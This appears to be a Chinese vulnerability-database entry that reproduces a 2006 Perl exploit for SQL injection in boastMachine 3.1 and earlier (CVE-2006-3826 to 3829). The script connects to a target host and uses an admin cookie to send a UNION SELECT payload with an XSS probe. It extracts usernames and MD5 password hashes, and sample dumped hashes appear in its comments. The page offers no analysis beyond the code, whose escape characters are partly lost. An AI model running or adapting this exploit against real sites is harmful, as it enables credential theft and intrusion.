boastMachine <= 3.1 SQL Injection Exploit

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053177 漏洞类型
发布时间 2006-07-25 更新时间 2006-07-25
CVE编号 CVE-2006-3829
CVE-2006-3828
CVE-2006-3827
CVE-2006-3826
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006070089
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl

#

#   VulnScr: boastMachine version 3.1 and prior

#       Web: http://boastology.com/

#

#      Date: Sun July 16 10:43 PM 2006

#   Credits: DarkFig (gmdarkfig (at) gmail (dot) com [email concealed])

#      Vuln: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Predictable Backup Filename

#  Advisory: http://www.acid-root.new.fr/advisories/boastmachine.txt (French)

#  Required: Admin cookie (user+hash) (You can have it with the XSS)

#

# +-------------------------------------------+

# | boastMachine <= 3.1 SQL Injection Exploit |

# +-------------------------------------------+

#  root::95f44e0321ed96ba9d2961a54daab05e

#  darkfig::547bbdedb2a1df8a1422b58e1eaa2111

#  dapowa::0b76dc1c5bb6c0267aa89fcea5f95bb6

#

use IO::Socket;

print STDERR "+-------------------------------------------+n";

print STDERR "| boastMachine <= 3.1 SQL Injection Exploit |n";

print STDERR "+-------------------------------------------+n";

if(!$ARGV[3]) {

print STDERR "| Usage: <host> <path> <admin> <md5hash> ---|n";

print STDERR "+-------------------------------------------+n";

exit();

}

my($host,$path,$admin,$hash) = ($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]);

my $sock = IO::Socket::INET->new(

PeerAddr => $host,

PeerPort => 80,

Proto => 'tcp',

);

my $data = "do=search&action=search&blog=1' UNION SELECT user_pass,user_login FROM bmc_users%23&cat_list=<script>alert(666)</script>";

my $leng = length($data);

print $sock "POST $path"."bmc/admin.php HTTP/1.1rn";

print $sock "Host: $hostrn";

print $sock "Referer: http://localhost/bmachine/bmc/admin.php?action=search&blog=rn";

print $sock "Cookie: BMC_user=${admin}; BMC_user_password=${hash}rn";

print $sock "Content-Type: application/x-www-form-urlencodedrn";

print $sock "Content-Length: $lengrnn";

print $sock "$datarnn";

while($answ = <$sock>) {

if($answ =~ /<option value="(S*)">(S*)</option>/) {

if(length($1) eq 32) {

print STDERR $2."::".$1."n";

}}

if($answ =~ /<option value="title">/) { last; }

}

$sock->close();

exit();